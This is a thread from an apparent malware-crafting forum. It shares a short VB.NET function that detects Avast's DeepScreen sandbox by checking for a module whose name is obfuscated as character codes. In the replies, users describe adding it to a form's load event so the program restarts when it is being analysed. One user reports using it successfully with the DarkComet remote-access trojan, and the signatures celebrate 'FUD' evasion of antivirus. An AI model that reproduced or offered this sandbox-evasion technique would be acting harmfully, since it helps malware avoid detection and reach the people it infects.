Código: Seleccionar todo

Private  Declare  Function  GetModuleHandle  Lib  "kernel32"  Alias  "GetModuleHandleA"  ( ByVal lpModuleName As  String )  As  Integer
    Private  Function  CheckForAvastSandbox ()  As  Boolean
        Try
            If  GetModuleHandle ( Chr ( 115 )  &  Chr ( 110 )  &  Chr ( 120 )  &  Chr ( 104 )  &  Chr ( 107 )  &  Chr ( 46 )  &  Chr ( 100 )  &  Chr ( 108 )  &  Chr ( 108 ))  Then
                Return  True
            Else
                Return  False
            End  If
        Catch ex As  Exception
            Return  False
        End  Try
    End  Function
indetectables.net
ROOTt_FUD
fuck avs
 
 
meu amigo tema de ótima qualidade realmente eu estarei utilizando esse code em um projeto que eu tenho pendente.
We live in hell it will always have pain. - Uchiha Obito.

@ Indetectables [ Modder - Coder ]
Por lo que veo no es ningún Bypass, solo detecta si se esta ejecutando en la DeepScreen.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Les doy un TIP, esta misma funcion la ponen en un Form, y en el form load un If.
Si se detecta el deepscreen, application.restart , end.
si no se detecta el deepscreen no hacemos nada.

Me funciono muy bien con el darkcomet.
v0id escribió:Les doy un TIP, esta misma funcion la ponen en un Form, y en el form load un If.
Si se detecta el deepscreen, application.restart , end.
si no se detecta el deepscreen no hacemos nada.

Me funciono muy bien con el darkcomet.
Recomiendo la función

saludos y gracias por el test.....
indetectables.net
ROOTt_FUD
fuck avs
 
 
v0id escribió:Les doy un TIP, esta misma funcion la ponen en un Form, y en el form load un If.
Si se detecta el deepscreen, application.restart , end.
si no se detecta el deepscreen no hacemos nada.

Me funciono muy bien con el darkcomet.
Voy a testear esto, comento si funciona.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
v0id escribió:Les doy un TIP, esta misma funcion la ponen en un Form, y en el form load un If.
Si se detecta el deepscreen, application.restart , end.
si no se detecta el deepscreen no hacemos nada.

Me funciono muy bien con el darkcomet.
Buena idea,lo probare en vb6 con un goto,saludos.
Responder

Volver a “VB/.NET”